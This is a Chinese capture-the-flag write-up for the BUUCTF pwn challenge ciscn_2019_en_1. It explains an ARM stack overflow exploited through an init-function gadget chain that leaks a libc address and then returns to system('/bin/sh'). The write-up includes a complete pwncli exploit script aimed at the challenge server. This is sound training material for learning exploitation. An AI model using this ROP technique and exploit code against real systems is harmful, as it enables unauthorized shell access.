[BUUCTF] ciscn_2019_en_1
ciscn_2019_en_1
总结
利用了一个组合拳gadget:
.text:00010620                 MOV     R2, R9
.text:00010624                 MOV     R1, R8
.text:00010628                 MOV     R0, R7
.text:0001062C                 BLX     R3
.text:00010630                 CMP     R4, R6
.text:00010634                 BNE     loc_10618
.text:00010638                 POP     {R4-R10,PC}
这一段gadget在init函数,其实和ret2csu有点像,可以通过r7 r8 r9控制r0 r1 r2,还能控制pc。
checksec

漏洞点
拍在脸上的栈溢出:

利用思路
结合最上面总结的那两个gadgets,利用过程为:
- 控制r7 r8 r9而间接控制r0 r1 r2,而使用0x000103a4 : pop {r3, pc}控制r3
- 调用puts(printf@got)泄露出libc地址
- 再一次执行main函数,rop执行system("/bin/sh")即可
EXP
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
import shlex
context.binary = "./1"
libc = ELF("libc-2.23.so")
io = remote("node4.buuoj.cn", 25228)
io.sendafter("your name:\n\n", flat({
    36:[
        0x000103a4,
        0x103e0,
        0x00010638,
        0,0,0,0x21010,0,0,0,0x00010628,
        0, 0, 0, 0, 0, 0, 0, 0x10590]
}))
io.recvline_startswith("hello")
m = io.recvline()
log_ex(f"Get msg: {m}")
libc_base = u32_ex(m[:4]) - 0x00047b30
log_libc_base_addr(libc_base)
libc.address = libc_base
io.sendafter("your name:\n\n", flat({
    36:[
        libc_base + 0x0010dc84,
        libc.search(b"/bin/sh").__next__(),
        libc.sym.system]
}))
# 0x0011e54c : pop {r0, pc}
io.interactive()
远程打:

引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/16104068.html

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号